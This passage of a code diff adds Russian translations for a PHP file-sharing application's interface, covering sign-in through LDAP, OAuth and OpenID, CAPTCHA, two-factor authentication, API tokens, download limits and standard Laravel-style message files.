deny this account request before converting it.": "Одобрите или отклоните эту заявку на учётную запись, прежде чем преобразовывать её.", + "You cannot convert your own account.": "Вы не можете преобразовать собственную учётную запись.", + "New password": "Новый пароль", + "New password (optional)": "Новый пароль (необязательно)", + "Leave blank to keep their current password.": "Оставьте пустым, чтобы сохранить текущий пароль.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Эта учётная запись входит через ваш каталог. Учётные записи команды так не делают никогда, поэтому здесь нужен пароль — иначе войти вообще не получится.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Задайте пароль для этой учётной записи. Сейчас она входит через ваш каталог, а учётные записи команды так не делают никогда.", + "Tokens created": "Создано токенов", + "Currently active": "Сейчас активны", + ":count active": "Активных: :count", + "1 permission": "1 разрешение", + ":count permissions": "Разрешений: :count", + "This token carries no permissions.": "У этого токена нет ни одного разрешения.", + "This account has created API tokens before, but none are live now.": "Эта учётная запись уже создавала токены API, но сейчас ни один не активен.", + "This account has never created an API token.": "Эта учётная запись ни разу не создавала токен API.", + "No longer granted to this account, so it does nothing.": "Больше не выдано этой учётной записи, поэтому ничего не даёт.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Создавать, изменять и отзывать их может только :name — администратор их видит, но не управляет ими.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Что этому токену разрешено делать через API. Больше, чем позволено :name, он не сможет никогда.", + "LDAP": "LDAP", + "LDAP settings": "Настройки LDAP", + "LDAP settings saved.": "Настройки LDAP сохранены.", + "Directory": "Каталог", + "Connection": "Подключение", + "Server": "Сервер", + "Base DN": "Базовый DN", + "Service account DN": "DN служебной учётной записи", + "Service account password": "Пароль служебной учётной записи", + "Email attribute": "Атрибут эл. почты", + "Name attribute": "Атрибут имени", + "Additional filter (optional)": "Дополнительный фильтр (необязательно)", + "CA certificate path (optional)": "Путь к сертификату УЦ (необязательно)", + "None (unencrypted)": "Нет (без шифрования)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (неявный TLS)", + "Allow clients to sign in with a directory account": "Разрешить клиентам вход с учётной записью из каталога", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Разрешите клиентам входить со своей учётной записью из каталога. Команда всегда проходит проверку локально.", + "Create an account on first sign-in": "Создавать учётную запись при первом входе", + "Directory accounts are always created as clients, never as staff.": "Учётные записи из каталога всегда создаются как клиентские, никогда как записи команды.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Тот, кто есть в каталоге, но не имеет здесь учётной записи, получает клиентскую запись и сразу входит.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Тот, кто есть в каталоге, но не имеет здесь учётной записи, получает клиентскую запись, которая ждёт одобрения в разделе «Заявки на учётные записи».", + "Only people who already have an account here can sign in.": "Войти могут только те, у кого здесь уже есть учётная запись.", + "Combined with the address match, to narrow who may sign in.": "Применяется вместе с совпадением адреса, чтобы сузить круг тех, кто может войти.", + "The attribute holding the address people sign in with — usually mail.": "Атрибут, в котором хранится адрес для входа, — обычно mail.", + "Where in the tree to look for people.": "В каком месте дерева искать людей.", + "Leave blank to search anonymously.": "Оставьте пустым для анонимного поиска.", + "Stored encrypted, and never shown again.": "Хранится в зашифрованном виде и больше не показывается.", + "Stored encrypted. Leave blank to keep the current one.": "Хранится в зашифрованном виде. Оставьте пустым, чтобы сохранить текущий.", + "For a directory presenting a certificate from your own certificate authority.": "Для каталога, который предъявляет сертификат вашего собственного удостоверяющего центра.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Без шифрования: пароль служебной учётной записи и пароль каждого клиента идут по сети открытым текстом.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Если пароль клиента не распознан локально, он проверяется по каталогу. Учётные записи команды всегда проходят проверку локально и туда никогда не отправляются.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "Расширение PHP LDAP на этом сервере не установлено, поэтому эти настройки не могут работать.", + "The PHP LDAP extension is not installed on this server.": "Расширение PHP LDAP на этом сервере не установлено.", + "Saves are not required to test — but the test uses the settings as last saved.": "Для проверки сохранять не обязательно, но проверка использует настройки в том виде, в каком они были сохранены в последний раз.", + "Test a sign-in": "Проверить вход", + "Email address (optional)": "Адрес эл. почты (необязательно)", + "Password (optional)": "Пароль (необязательно)", + "Connected and bound as the service account.": "Подключение установлено, вход выполнен под служебной учётной записью.", + "Could not connect or bind as the service account: :error": "Не удалось подключиться или войти под служебной учётной записью: :error", + "Found a matching entry.": "Найдена подходящая запись.", + "No directory entry matched that address under the base DN.": "Под базовым DN нет записи каталога с таким адресом.", + "The directory rejected that password.": "Каталог отклонил этот пароль.", + "The search failed: :error": "Поиск не удался: :error", + "The sign-in bind failed: :error": "Проверка при входе не удалась: :error", + "Signed in successfully.": "Вход выполнен успешно.", + "1 item": "1 элемент", + ":count items": "Элементов: :count", + "1 API token": "1 токен API", + ":count API tokens": "Токенов API: :count", + "1 assigned client": "1 назначенный клиент", + ":count assigned clients": "Назначенных клиентов: :count", + "Managed by 1 staff member": "Ведёт 1 участник команды", + "Managed by :count staff members": "Ведут участники команды: :count", + "1 group membership": "1 членство в группе", + ":count group memberships": "Членств в группах: :count", + "1 file shared with them": "1 файл с открытым для них доступом", + ":count files shared with them": "Файлов с открытым для них доступом: :count", + "Approve these accounts automatically": "Одобрять эти учётные записи автоматически", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Ваш каталог уже подтвердил, кто эти люди, так что проверять некого. Оставьте выключенным, чтобы сначала рассматривать каждого в разделе «Заявки на учётные записи».", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Клиенты, которые регистрируются сами, одобряются автоматически — эта настройка отдельная и за той не следует.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Клиенты, которые регистрируются сами, по-прежнему ждут одобрения — эта настройка отдельная и этого не меняет.", + "Container filesystem": "Файловая система контейнера", + "Docker volume": "Том Docker", + "Files stored on": "Файлы хранятся в", + "Host directory": "Каталог на хосте", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Это значит, что и docker compose down -v, и docker volume prune их удалят, а резервная копия сервера может полностью их пропустить.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Они не лежат ни на одном томе, поэтому пересборка или пересоздание контейнера безвозвратно удалит каждый файл. Перенесите их в каталог на хосте, прежде чем загружать что-то ещё.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Они переживают обновления, но лежат на томе под управлением Docker, а не в выбранном вами каталоге.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Они переживают обновления, но лежат на томе Docker :volume, а не в выбранном вами каталоге.", + "Uploaded files are inside Docker": "Загруженные файлы находятся внутри Docker", + "Uploaded files are stored inside the container": "Загруженные файлы хранятся внутри контейнера", + "1 more language available": "Доступен ещё 1 язык", + ":count more languages available": "Доступно ещё языков: :count", + ":left of :limit downloads left": "Осталось загрузок: :left из :limit", + ":limit downloads per person": "Загрузок на человека: :limit", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name будет входить только по паролю, пока снова не настроит это, и получит письмо об этом изменении. Если на этом сайте требуется двухфакторная аутентификация, при следующем входе будет предложено настроить её заново.", + ":provider accepted your secret key.": ":provider принял ваш секретный ключ.", + ":provider connected.": ":provider подключён.", + ":provider did not provide an email address, which is required to sign in.": ":provider не предоставил адрес электронной почты, который нужен для входа.", + ":provider disconnected.": ":provider отключён.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider никогда не сообщает, подтверждён ли адрес, поэтому при включённой опции он может создавать новые учётные записи, но никогда не войдёт в уже существующую. Подключение из Настроек, когда вы уже вошли, по-прежнему работает.", + ":provider rejected your secret key.": ":provider отклонил ваш секретный ключ.", + ":provider settings saved.": "Настройки :provider сохранены.", + ":used of :limit downloads used": "Использовано загрузок: :used из :limit", + "A :provider account was connected": "Учётная запись :provider подключена", + "A :provider account was disconnected": "Учётная запись :provider отключена", + "Accounts at :domain cannot sign in with :provider here.": "Учётные записи из :domain не могут входить здесь через :provider.", + "A client account was created from :provider": "На основе :provider создана учётная запись клиента", + "Allowed email domains": "Разрешённые почтовые домены", + "Allow signing in with :provider": "Разрешить вход через :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Всегда учётная запись клиента. Учётные записи команды создаёт только администратор.", + "Always available — the application is written in English, so it needs no translation file.": "Всегда доступен — приложение написано на английском, поэтому файл перевода ему не нужен.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Этот адрес электронной почты уже используется учётной записью, а :provider не подтвердил, что он принадлежит вам. Вместо этого войдите по паролю и подключите :provider в своих настройках.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Адрес, который поставщик не подтвердил, никогда не будет сопоставлен с учётной записью, уже существующей здесь. Отключение этой опции означает, что любой, кто может зарегистрироваться у вашего поставщика под чужим адресом, сможет войти от имени этого человека.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Администратор удалил двухфакторную аутентификацию из вашей учётной записи. Вы можете снова настроить её в настройках безопасности. Свяжитесь с администратором, если этого не ожидали.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Любой, кто может получить доступ к файлу, видит назначенные ему категории — клиент в своём портале или любой, у кого есть публичная или общая ссылка. Вошедшие клиенты также могут фильтровать свои файлы по любой категории из этого списка. Создавать, переименовывать и удалять их может только ваша команда.", + "Applies whenever a password is chosen, not when one is used to sign in": "Применяется каждый раз при выборе пароля, а не при его использовании для входа", + "Approve those accounts automatically": "Одобрять эти учётные записи автоматически", + "A secret is stored. Leave this blank to keep it.": "Секрет сохранён. Оставьте поле пустым, чтобы сохранить его.", + "At least :count characters.": "Минимальное число символов: :count.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "От 0.0 (считать всех ботами) до 1.0 (считать всех людьми). Обычное значение — 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA сейчас отключена. Выберите поставщика и введите его ключи, чтобы включить её.", + "CAPTCHA settings saved.": "Настройки CAPTCHA сохранены.", + "Categories are visible outside your team": "Категории видны за пределами вашей команды", + "Change yours": "Изменить свой", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Проверяет новые пароли по базе утечек Have I Been Pwned. Сам пароль никогда не покидает этот сервер — отправляются только первые пять символов его хеша.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Проверяет секретный ключ у вашего поставщика. Никому не нужно решать задачу.", + "Client ID": "ID клиента", + "Client registration": "Регистрация клиентов", + "Client secret": "Секрет клиента", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Через запятую. Оставьте пустым, чтобы разрешить любой адрес.", + "Comments from visitors": "Комментарии посетителей", + "Complete the security check and try again.": "Пройдите проверку безопасности и попробуйте снова.", + "Configure it myself": "Настрою сам", + "Connected": "Подключено", + "Connected accounts": "Подключённые учётные записи", + "Connected the :provider account of \":subject\"": "Подключил учётную запись :provider пользователя «:subject»", + "Continue with :provider": "Продолжить через :provider", + "Could not reach :provider: :error": "Не удалось связаться с :provider: :error", + "Created a client account from :provider on first sign-in": "При первом входе создал учётную запись клиента из :provider", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Даты и время во всём приложении показываются в этом поясе. Определён из вашего браузера при первом входе.", + "Default language": "Язык по умолчанию", + "Directory (tenant) ID": "ID каталога (арендатора)", + "Disabled": "Отключено", + "Disconnect": "Отключить", + "Disconnected the :provider account of \":subject\"": "Отключил учётную запись :provider пользователя «:subject»", + "Downloaded :count time(s) so far. Your own downloads never count.": "Количество загрузок на данный момент: :count. Ваши собственные загрузки никогда не учитываются.", + "Download limit": "Лимит загрузок", + "Download limit reached": "Достигнут лимит загрузок", + "Each person separately": "Каждый человек отдельно", + "Enabled": "Включено", + "Enter a secret key first.": "Сначала введите секретный ключ.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Введите конкретный ID арендатора. Общие конечные точки «common», «organizations» и «consumers» позволяют любому арендатору Microsoft заявить любой адрес электронной почты.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Ниже перечислены все языки, установленные на этом сервере. Отметьте те, которые хотите предлагать в меню языков — команда, клиенты и публичные посетители увидят только их. Установить ещё один язык — значит добавить его файл перевода в папку lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Существующие пароли никогда не проверяются повторно, поэтому повышение этого значения влияет только на пароли, выбранные с этого момента.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Всего, по всем", + "Issuer URL": "URL издателя", + "Languages": "Языки", + "Language settings": "Настройки языка", + "Leave empty for a file that can be downloaded any number of times.": "Оставьте пустым для файла, который можно скачивать любое число раз.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Длина — самый важный фактор того, насколько трудно угадать пароль, поэтому здесь нет правил вроде «должен содержать заглавную букву»: они подталкивают людей к предсказуемым заменам и более коротким паролям.", + "Let people sign in with an account they already have somewhere else.": "Позвольте людям входить с учётной записью, которая у них уже есть где-то ещё.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Минимальная длина", + "No limit": "Без лимита", + "None selected": "Ничего не выбрано", + "No sign-in providers have been set up for this site.": "Для этого сайта не настроено ни одного поставщика входа.", + "Not connected": "Не подключено", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Выключено означает, что они ждут в Запросах учётных записей. Адрес, который поставщик не подтвердил, ждёт всегда, что бы ни говорила эта настройка.", + "Off — no CAPTCHA": "Выключено — без CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Или продолжите через", + "Or sign up with": "Или зарегистрируйтесь через", + "Passwords": "Пароли", + "Passwords that appear in known data breaches are not accepted.": "Пароли, встречающиеся в известных утечках данных, не принимаются.", + "Protection": "Защита", + "Protect these forms": "Защитить эти формы", + "Protect your public forms from automated abuse": "Защитите свои публичные формы от автоматизированных злоупотреблений", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI перенаправления", + "Register this exact address with :provider. It must match character for character.": "Зарегистрируйте именно этот адрес у :provider. Он должен совпадать символ в символ.", + "Reject passwords found in known data breaches": "Отклонять пароли, найденные в известных утечках данных", + "Removed two-factor authentication from \":subject\"": "Удалил двухфакторную аутентификацию у пользователя «:subject»", + "Remove the limit": "Убрать лимит", + "Remove two-factor authentication": "Удалить двухфакторную аутентификацию", + "Remove two-factor authentication?": "Удалить двухфакторную аутентификацию?", + "Require a verified email address": "Требовать подтверждённый адрес электронной почты", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Выполните их от имени пользователя, под которым работает ваш веб-сервер. Полная процедура есть в INSTALL.md.", + "Score threshold": "Порог оценки", + "Search timezones…": "Поиск часовых поясов…", + "Security check failed. Please try again.": "Проверка безопасности не пройдена. Пожалуйста, попробуйте снова.", + "Service": "Служба", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Задайте пароль для этой учётной записи. У неё его никогда не было — она входит через подключённого поставщика, а учётной записи команды нужны данные для входа, которые это приложение может проверить самостоятельно.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Вошедшим посетителям никогда не предлагают решать задачу при комментировании.", + "Sign in": "Войти", + "Sign in with an account you already have somewhere else.": "Войдите с учётной записью, которая у вас уже есть где-то ещё.", + "Site key": "Ключ сайта", + "Social login": "Вход через соцсети", + "Stored encrypted and never shown again, not even to you.": "Хранится в зашифрованном виде и больше не показывается, даже вам.", + "Stored — leave blank to keep it": "Сохранено — оставьте пустым, чтобы сохранить", + "Testing…": "Проверка…", + "Test keys": "Проверить ключи", + "That :provider account is already connected to another account here.": "Эта учётная запись :provider уже подключена здесь к другой учётной записи.", + "That sign-in could not be completed. Please try again.": "Не удалось завершить этот вход. Пожалуйста, попробуйте снова.", + "That sign-in method is not available.": "Этот способ входа недоступен.", + "The default language has to be one of the languages you are offering.": "Язык по умолчанию должен быть одним из языков, которые вы предлагаете.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Конечные точки считываются с этого адреса, поэтому это вся конфигурация. Должен быть https.", + "The expiry date must be in the future.": "Дата истечения срока должна быть в будущем.", + "The issuer URL must start with https://.": "URL издателя должен начинаться с https://.", + "The public key. It appears in your pages’ source, which is expected.": "Открытый ключ. Он появляется в исходном коде ваших страниц, что нормально.", + "There is no account here for that address.": "Здесь нет учётной записи для этого адреса.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Не удалось загрузить проверку безопасности. Убедитесь, что ваш браузер или сеть её не блокирует, и перезагрузите страницу.", + "This account does not use an authenticator app.": "Эта учётная запись не использует приложение-аутентификатор.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "У этой учётной записи никогда не было собственного пароля — она входит через подключённого поставщика. Команде нужны данные для входа, которые это приложение может проверить самостоятельно, чтобы сбой у поставщика не заблокировал доступ.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Эта учётная запись входит с помощью приложения-аутентификатора. Удаляйте его только если владелец учётной записи потерял и приложение, и коды восстановления.", + "This file has reached its download limit.": "Этот файл достиг своего лимита загрузок.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Это единственный способ, которым вы можете войти. Сначала задайте пароль, затем отключите :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Этот сайт защищён reCAPTCHA, и применяются Политика конфиденциальности и Условия использования Google.", + "Those files have reached their download limit.": "Эти файлы достигли своего лимита загрузок.", + "Timezone": "Часовой пояс", + "To update, back up your database and files, then:": "Чтобы обновить, сделайте резервную копию базы данных и файлов, затем:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Чтобы обновить, выполните шаги из INSTALL.md — сначала резервная копия, затем распакуйте выпуск и запустите миграции.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Отключайте это только если этот сервер не должен делать исходящих запросов. Если служба недоступна, пароль всё равно принимается, поэтому офлайн-установка никогда не блокируется из-за этого.", + "Two-factor authentication removed.": "Двухфакторная аутентификация удалена.", + "Two-factor authentication removed by an admin": "Двухфакторная аутентификация удалена администратором", + "Two-factor authentication was removed by an administrator": "Двухфакторная аутентификация была удалена администратором", + "Two-factor authentication was removed from your account": "Двухфакторная аутентификация была удалена из вашей учётной записи", + "Unexpected reply from :provider: :codes": "Неожиданный ответ от :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Используется для всех, кто не выбрал собственный часовой пояс, включая посетителей ваших публичных страниц и общих ссылок. Каждая учётная запись может задать свой в профиле.", + "Use ProjectSend’s protection": "Использовать защиту ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Используйте собственную учётную запись reCAPTCHA или Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "В последнее время проверка была недоступна, поэтому защищённые формы пропускаются без проверки. Никого не блокируют.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Мы защищаем ваши публичные формы за вас. Ничего настраивать не нужно, никакими ключами управлять не надо.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "То, что люди видят, прежде чем что-либо выбрали. Вошедшая учётная запись сохраняет собственный выбор, а посетитель, чей браузер запрашивает один из перечисленных выше языков, получает именно его — это ответ для всех остальных.", + "Which languages people can choose from": "Из каких языков люди могут выбирать", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Ваша учётная запись создана через одного из этих поставщиков и не имеет собственного пароля, поэтому последнее подключение нельзя удалить. Сначала задайте пароль, если хотите отключить его.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Ваша учётная запись настроена на :timezone, поэтому это не изменит того, как даты выглядят для вас.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Ваш собственный арендатор, не «common». Microsoft позволяет пользователю менять адрес электронной почты учётной записи, поэтому вход надёжен только тогда, когда токен пришёл от арендатора, указанного здесь.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Ваш поставщик отклонил секретный ключ этой установки, поэтому защищённые формы пропускаются без проверки. Проверьте секретный ключ ниже.", + "Your public forms are protected. You can switch to your own keys at any time.": "Ваши публичные формы защищены. Вы можете перейти на собственные ключи в любой момент." +} diff --git a/lang/ru/actions.php b/lang/ru/actions.php new file mode 100644 index 00000000..93e6e340 --- /dev/null +++ b/lang/ru/actions.php @@ -0,0 +1,119 @@ + 'Принять', + 'action' => 'Действие', + 'actions' => 'Действия', + 'add' => 'Добавить', + 'admin' => 'Панель администратора', + 'agree' => 'Согласен(на)', + 'archive' => 'Архив', + 'assign' => 'Назначить', + 'associate' => 'Ассоциировать', + 'attach' => 'Прикрепить', + 'browse' => 'Просмотр', + 'cancel' => 'Отмена', + 'choose' => 'Выбрать', + 'choose_file' => 'Выбрать файл', + 'choose_image' => 'Выбрать изображение', + 'click_to_copy' => 'Скопировать', + 'close' => 'Закрыть', + 'collapse' => 'Свернуть', + 'collapse_all' => 'Свернуть всё', + 'comment' => 'Комментарий', + 'confirm' => 'Подтвердить', + 'connect' => 'Подключить', + 'create' => 'Создать', + 'delete' => 'Удалить', + 'detach' => 'Открепить', + 'details' => 'Подробнее', + 'disable' => 'Отключить', + 'discard' => 'Отказаться', + 'done' => 'Готово', + 'down' => 'Вниз', + 'duplicate' => 'Дублировать', + 'edit' => 'Редактировать', + 'enable' => 'Включить', + 'expand' => 'Раскрыть', + 'expand_all' => 'Раскрыть всё', + 'explanation' => 'Объяснить', + 'export' => 'Экспорт', + 'file' => 'Файл', + 'files' => 'Файлы', + 'go_home' => 'Вернуться на главную', + 'hide' => 'Скрыть', + 'home' => 'На главную', + 'image' => 'Изображение', + 'impersonate' => 'Войти под пользователем', + 'impersonation' => 'Войти под пользователем', + 'import' => 'Импорт', + 'introduction' => 'Введение', + 'like' => 'Нравится', + 'load' => 'Загрузить', + 'localize' => 'Локализовать', + 'log_in' => 'Войти', + 'log_out' => 'Выйти', + 'named' => [ + 'add' => 'Добавить :name', + 'choose' => 'Выбрать :name', + 'create' => 'Создать :name', + 'delete' => 'Удалить :name', + 'duplicate' => 'Дублировать :name', + 'edit' => 'Редактировать :name', + 'export' => 'Экспортировать :name', + 'hide' => 'Скрыть :name', + 'import' => 'Импорт :name', + 'new' => 'Новый :name', + 'restore' => 'Восстановить :name', + 'save' => 'Сохранить :name', + 'search' => 'Искать :name', + 'show' => 'Показать :name', + 'update' => 'Обновить :name', + 'view' => 'Просмотреть :name', + ], + 'new' => 'Новый', + 'no' => 'Нет', + 'open' => 'Открыть', + 'open_website' => 'Открыть на сайте', + 'preview' => 'Предпросмотр', + 'price' => 'Цена', + 'record' => 'Запись', + 'restore' => 'Восстановить', + 'save' => 'Сохранить', + 'save_and_close' => 'Сохранить и закрыть', + 'save_and_return' => 'Сохранить и вернуться', + 'search' => 'Поиск', + 'select' => 'Выбрать', + 'select_all' => 'Выбрать всё', + 'send' => 'Отправить', + 'settings' => 'Настройки', + 'show' => 'Показать', + 'show_all' => 'Показать всё', + 'sign_in' => 'Регистрация', + 'solve' => 'Решить', + 'start' => 'Начать', + 'stop' => 'Остановить', + 'submit' => 'Отправить', + 'subscribe' => 'Подписаться', + 'switch' => 'Переключить', + 'switch_to_role' => 'Переключиться на роль', + 'tag' => 'Тег', + 'tags' => 'Теги', + 'target_link' => [ + 'blank' => 'Открыть в новом окне', + 'parent' => 'Открыть в родительском фрейме', + 'self' => 'Открыть в текущем окне', + 'top' => 'Открыть в главном фрейме', + ], + 'translate' => 'Перевод', + 'translate_it' => 'Перевести', + 'unpack' => 'Распаковать', + 'unsubscribe' => 'Отписаться', + 'up' => 'Вверх', + 'update' => 'Обновить', + 'user' => 'Пользователь', + 'view' => 'Просмотр', + 'yes' => 'Да', +]; diff --git a/lang/ru/auth.php b/lang/ru/auth.php new file mode 100644 index 00000000..38ca9586 --- /dev/null +++ b/lang/ru/auth.php @@ -0,0 +1,9 @@ + 'Неверное имя пользователя или пароль.', + 'password' => 'Некорректный пароль.', + 'throttle' => 'Слишком много попыток входа. Пожалуйста, попробуйте ещё раз через :seconds секунд.', +]; diff --git a/lang/ru/http-statuses.php b/lang/ru/http-statuses.php new file mode 100644 index 00000000..1da48218 --- /dev/null +++ b/lang/ru/http-statuses.php @@ -0,0 +1,84 @@ + 'Неизвестная ошибка', + '100' => 'Продолжить', + '101' => 'Переключение протоколов', + '102' => 'Идёт обработка', + '200' => 'Хорошо', + '201' => 'Создано', + '202' => 'Принято', + '203' => 'Информация не авторитетна', + '204' => 'Содержимое отсутствует', + '205' => 'Сброс содержимого', + '206' => 'Не полное содержимое', + '207' => 'Много статусов', + '208' => 'Уже сообщалось', + '226' => 'Использовано IM', + '300' => 'Много вариантов', + '301' => 'Перемещено навсегда', + '302' => 'Найдено', + '303' => 'Смотри другое', + '304' => 'Без изменений', + '305' => 'Используй прокси', + '307' => 'Временное перенаправление', + '308' => 'Постоянное перенаправление', + '400' => 'Некорректный запрос', + '401' => 'Не авторизован', + '402' => 'Необходима оплата', + '403' => 'Доступ запрещён', + '404' => 'Не найдено', + '405' => 'Метод запрещён', + '406' => 'Неприемлемо', + '407' => 'Требуется аутентификация прокси', + '408' => 'Истекло время ожидания', + '409' => 'Конфликт', + '410' => 'Удалено', + '411' => 'Объём содержимого не определён', + '412' => 'Условие ложно', + '413' => 'Большой объём данных', + '414' => 'URI слишком длинный', + '415' => 'Неподдерживаемый тип данных', + '416' => 'Диапазон недостижим', + '417' => 'Истекло время ожидания', + '418' => 'Я - чайник', + '419' => 'Сессия устарела', + '421' => 'Неверный запрос', + '422' => 'Необрабатываемый экземпляр', + '423' => 'Доступ заблокирован', + '424' => 'Ошибка зависимости', + '425' => 'Слишком рано', + '426' => 'Требуется обновление', + '428' => 'Требуется предусловие', + '429' => 'Слишком много запросов', + '431' => 'Поля заголовка слишком большие', + '444' => 'Соединение закрыто без ответа', + '449' => 'Повторить с', + '451' => 'Недоступно по юридическим причинам', + '499' => 'Запрос закрыт клиентом', + '500' => 'Внутренняя ошибка', + '501' => 'Не реализовано', + '502' => 'Проблема с шлюзом', + '503' => 'Ведутся технические работы', + '504' => 'Шлюз не отвечает', + '505' => 'Версия HTTP не поддерживается', + '506' => 'Вариант тоже проводит согласование', + '507' => 'Переполнение хранилища', + '508' => 'Обнаружен бесконечный цикл', + '509' => 'Превышена нагрузка на канал связи', + '510' => 'Отсутствует расширение', + '511' => 'Требуется сетевая аутентификация', + '520' => 'Неизвестная ошибка', + '521' => 'Веб-сервер не работает', + '522' => 'Соединение не отвечает', + '523' => 'Источник недоступен', + '524' => 'Истекло время ожидания', + '525' => 'Квитирование SSL не удалось', + '526' => 'Недействительный SSL сертификат', + '527' => 'Ошибка соединения с Railgun', + '598' => 'Истекло время ожидания', + '599' => 'Истекло время подключения', + 'unknownError' => 'Неизвестная ошибка', +]; diff --git a/lang/ru/pagination.php b/lang/ru/pagination.php new file mode 100644 index 00000000..f7cccdc0 --- /dev/null +++ b/lang/ru/pagination.php @@ -0,0 +1,8 @@ + 'Вперёд »', + 'previous' => '« Назад', +]; diff --git a/lang/ru/passwords.php b/lang/ru/passwords.php new file mode 100644 index 00000000..61f53369 --- /dev/null +++ b/lang/ru/passwords.php @@ -0,0 +1,11 @@ + 'Ваш пароль был сброшен.', + 'sent' => 'Ссылка на сброс пароля была отправлена.', + 'throttled' => 'Пожалуйста, подождите перед повторной попыткой.', + 'token' => 'Ошибочный код сброса пароля.', + 'user' => 'Не удалось найти пользователя с указанным электронным адресом.', +]; diff --git a/lang/ru/validation.php b/lang/ru/validation.php new file mode 100644 index 00000000..27d3bc98 --- /dev/null +++ b/lang/ru/validation.php @@ -0,0 +1,288 @@ + 'Вы должны принять :attribute.', + 'accepted_if' => 'Вы должны принять :attribute, когда :other содержит :value.', + 'active_url' => 'Значение поля :attribute должно быть действительным URL адресом.', + 'after' => 'Значение поля :attribute должно быть датой после :date.', + 'after_or_equal' => 'Значение поля :attribute должно быть датой после или равной :date.', + 'alpha' => 'Значение поля :attribute может содержать только буквы.', + 'alpha_dash' => 'Значение поля :attribute может содержать только буквы, цифры, дефис и нижнее подчеркивание.', + 'alpha_num' => 'Значение поля :attribute может содержать только буквы и цифры.', + 'any_of' => 'Значение поля :attribute не найдено в списке разрешённых.', + 'array' => 'Значение поля :attribute должно быть массивом.', + 'ascii' => 'Значение поля :attribute должно содержать только однобайтовые цифро-буквенные символы.', + 'before' => 'Значение поля :attribute должно быть датой до :date.', + 